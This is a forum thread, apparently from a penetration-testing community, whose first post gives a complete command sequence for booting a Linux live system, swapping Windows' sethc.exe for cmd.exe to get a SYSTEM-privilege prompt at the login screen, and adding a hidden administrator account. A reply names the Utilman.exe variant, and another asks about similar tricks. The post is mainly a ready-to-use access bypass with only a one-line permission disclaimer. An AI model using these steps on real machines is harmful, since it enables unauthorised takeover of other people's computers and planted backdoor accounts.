Results 1 to 3 of 3

Thread: Hack Windows: System privilege command prompt

Hybrid View

  1. #1
    Just burned his ISO
    Join Date
    Jul 2011
    Posts
    7

    Default Hack Windows: System privilege command prompt

    This is a very easy crack, allowing you to open a windows command prompt with system privileges at log-in. shouldn't take more than 3 minutes. It replaces sethc.exe which can be invoked at start-up by pressing shift five times (something to do with contrast) with cmd.exe: Since you haven't logged in yet it opens a command prompt with system privileges (runs in backtrack).
    Code:
    mkdir /mnt/ntfs
    mount -t captive-ntfs /dev/hda1 /mnt/ntfs
    cd /mnt/ntfs/windows/system32
    mv sethc.exe sethc.old; cp cmd.exe sethc.exe
    sync
    cd ~
    umount /mnt/ntfs
    shutdown –r now
    To make a new admin that you can login to (apart from EVERYTHING else that you can do) use the following commands (replace admin with the username and pass with your password)
    Code:
    NET USER admin pass /add
    NET LOCALGROUP administrators admin /add
    reboot and you're done.
    No need to bother with cracking people's passwords (god forbid, this may take years, as with mine).
    (please only use on your own computer or with other people's permission)

  2. #2
    Just burned his ISO
    Join Date
    Jun 2008
    Posts
    1

    Default Re: Hack Windows: System privilege command prompt

    FYI, the same trick can be used by replacing Utilman.exe, but different key sequence. Here's a blog post about it: http://blog.didierstevens.com/2006/0...th-utilmanexe/
    Almost 5 years old too. Still, a good trick.

  3. #3
    Just burned their ISO
    Join Date
    Sep 2011
    Location
    Matrix
    Posts
    18

    Default AW: Hack Windows: System privilege command prompt

    Maybe its possible to execute this directly i.e. on the Windows Setup -> Tools -> CommandPrompt ?

    Remember there was a trick on XP with the screensaver and cmd.exe ?! could that be the same?

Similar Threads

  1. Caps @ the command prompt?!?!
    By Blasito in forum Beginners Forum
    Replies: 2
    Last Post: 01-31-2011, 02:30 PM
  2. How to get the Konsole command prompt back?
    By Lendo in forum Beginners Forum
    Replies: 5
    Last Post: 08-06-2010, 10:05 AM
  3. Sending messages through Command Prompt
    By luca662 in forum OLD Newbie Area
    Replies: 4
    Last Post: 10-21-2008, 03:02 AM
  4. HELP - Escalate privilege in (well configured) Windows.
    By The Dan in forum OLD Pentesting
    Replies: 22
    Last Post: 10-11-2008, 10:20 PM
  5. Email Exploit Command Prompt
    By playtowin in forum OLD Newbie Area
    Replies: 2
    Last Post: 02-08-2008, 07:48 PM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •